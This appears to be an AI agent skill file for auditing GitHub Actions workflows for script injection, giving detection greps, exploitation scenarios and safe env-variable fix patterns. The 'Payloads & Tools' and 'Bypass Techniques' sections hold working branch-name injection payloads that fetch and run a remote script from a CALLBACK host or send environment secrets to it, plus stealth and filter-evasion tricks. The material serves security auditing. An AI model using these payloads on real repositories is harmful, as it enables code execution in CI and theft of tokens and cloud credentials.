github-actions-script-injection

name	github-actions-script-injection
description	Use when auditing GitHub Actions workflows for script injection vulnerabilities via unsanitized context expressions. Trigger on: "github actions injection", "workflow injection", "head_ref injection", "github context injection", "pwn request", "github.head_ref", "github.event.pull_request.title", "github.event.issue.body", pull_request_target workflows, run: steps interpolating GitHub context variables, CI/CD script injection, GitHub Actions security audit.
license	MIT
compatibility	Designed for Claude Code. Requires access to target repository's .github/workflows/.
metadata	{"category":"cicd","version":"0.1","source":"https://adnanthekhan.com/posts/angular-compromise-through-dev-infra/","source_types":"blog_post"}

GitHub Actions Script Injection

What Is Broken and Why

GitHub Actions workflows interpolate context expressions like ${{ github.head_ref }} directly into shell run: steps at workflow parse time — before the shell executes. An attacker who controls the input (branch name, PR title, issue body, commit message) can inject arbitrary shell commands that execute with the workflow's token permissions. Even a read-only token becomes dangerous if it can be leveraged into cache poisoning, secret exfiltration via subsequent workflows, or SSRF to internal services.

Key Signals

• run: steps containing ${{ github.head_ref }}, ${{ github.event.pull_request.title }}, ${{ github.event.pull_request.body }}, ${{ github.event.issue.title }}, ${{ github.event.issue.body }}, ${{ github.event.comment.body }}
• pull_request_target trigger (runs in base repo context — elevated permissions + secrets)
• workflow_run consuming artifacts or outputs from untrusted workflows
• issue_comment, pull_request_review_comment triggers with body interpolation
• Workflows that echo, log, or use attacker-controlled strings in shell steps
• ${{ toJson(github.event) }} piped into scripts
• Missing env: variable indirection (safe pattern uses env: VAR: ${{ expr }} then $VAR)

Methodology

1. Enumerate all workflow files: find .github/workflows -name "*.yml" -o -name "*.yaml"
2. Grep for dangerous context variables used directly in run: blocks:

   grep -rn 'run:' .github/workflows/ | grep -E '\$\{\{.*github\.(head_ref|event\.'
   

3. For each hit, trace the trigger: is it pull_request, pull_request_target, issue_comment, workflow_dispatch?
4. Check token permissions: permissions: block or default GITHUB_TOKEN scope.
5. Identify what secrets are available in the workflow environment.
6. Craft a branch name (or PR title/body) with injection payload.
7. Open a PR from a fork using the malicious branch name to trigger the workflow.
8. Confirm RCE via out-of-band callback (DNS/HTTP to CALLBACK server).
9. Escalate: exfiltrate secrets, poison cache, pivot to downstream workflows.

Payloads & Tools

# Malicious branch name for github.head_ref injection
# Uses ${IFS} to avoid spaces (which break branch names)
git checkout -b '$({curl,-sSfL,https://CALLBACK/payload.sh}${IFS}|${IFS}bash)'
git push origin HEAD

# Simpler OOB detection payload (DNS exfil)
git checkout -b '$(curl${IFS}https://CALLBACK/$(cat${IFS}/proc/self/environ|base64))'

# Exfiltrate GITHUB_TOKEN
git checkout -b '$(curl${IFS}-d${IFS}@/proc/self/environ${IFS}https://CALLBACK)'

# lucky-commit: make malicious commit SHA match a short prefix (stealth)
lucky-commit SHORTSHA

# Grep workflows for injection points
grep -rn '\${{' .github/workflows/ | grep 'run:' -A5 | \
  grep -E 'head_ref|event\.pull_request\.(title|body)|event\.issue\.(title|body)|event\.comment\.body'

# Check pull_request_target triggers (highest risk)
grep -rn 'pull_request_target' .github/workflows/

Bypass Techniques

• Space bypass: use ${IFS} instead of spaces in branch names
• Quote bypass: use $'...' ANSI-C quoting or hex encoding $'\x63\x75\x72\x6c'
• Short SHA collision: use lucky-commit to craft a commit whose SHA matches a known prefix, making the imposter commit look legitimate in reviews
• Restricted characters in branch names: use {cmd,arg1,arg2} brace expansion, $() subshell, backtick substitution
• Workflow expression filters: if ${{ github.head_ref }} is filtered, try ${{ github.event.pull_request.head.ref }} or other equivalent paths in the event payload

Exploitation Scenarios

Scenario 1 — Secret exfiltration via branch name Setup: Workflow runs on pull_request trigger with run: echo "Testing ${{ github.head_ref }}". Token has read-only permissions but the workflow environment contains AWS_ACCESS_KEY_ID. Trigger: Attacker opens PR from fork with branch named $(printenv|curl${IFS}-d${IFS}@-${IFS}https://CALLBACK). Impact: All environment variables including secrets exfiltrated to attacker's server.

Scenario 2 — Cache poisoning pivot (low-priv token) Setup: Workflow has read-only GITHUB_TOKEN — no direct secret access. Trigger: Injection deploys Cacheract, fills cache past 10 GB, plants poisoned node_modules. Impact: Downstream privileged workflow restores poisoned cache, executes attacker code with elevated token. (See: github-actions-cache-poisoning skill for full technique.)

Scenario 3 — pull_request_target full compromise Setup: Workflow uses pull_request_target (runs in base repo context with write token + secrets). Trigger: Attacker forks repo, opens PR with injected PR body containing ${{ github.event.pull_request.body }} payload. Impact: Workflow executes with base repo's full write token — direct push to main, secret exfiltration, artifact tampering.

False Positives

• Expression inside if: condition only — not executed as shell, not injectable
• Expression assigned to env: variable with no subsequent shell interpolation
• Expression used only in with: action inputs — depends on action implementation
• Sanitized via ${{ inputs.value }} where inputs come from workflow_dispatch with type: choice

Fix Patterns

# WRONG: direct interpolation into shell
- run: echo "Branch: ${{ github.head_ref }}"

# CORRECT: assign to env var, reference via shell variable
- run: echo "Branch: $BRANCH_NAME"
  env:
    BRANCH_NAME: ${{ github.head_ref }}

• Use env: indirection for all attacker-controlled context values — shell variables are not parsed as code
• Prefer pull_request over pull_request_target unless base repo context is strictly necessary
• Pin third-party actions to full commit SHAs, not tags
• Restrict permissions: to minimum required (contents: read only when possible)
• Use harden-runner (StepSecurity) to detect unexpected network calls during CI

Related Skills

[[github-actions-cache-poisoning]] is the natural escalation when script injection yields only a read-only token — the injected code writes poisoned cache entries that a later privileged workflow restores. [[pwn-request]] is the trigger mechanism that causes this skill to fire: a pull_request_target workflow checked out from an attacker-controlled fork is how script injection reaches a privileged context. [[cicd-bot-command-injection]] exploits the same untrusted-input-in-workflow pattern but through comment triggers rather than branch names.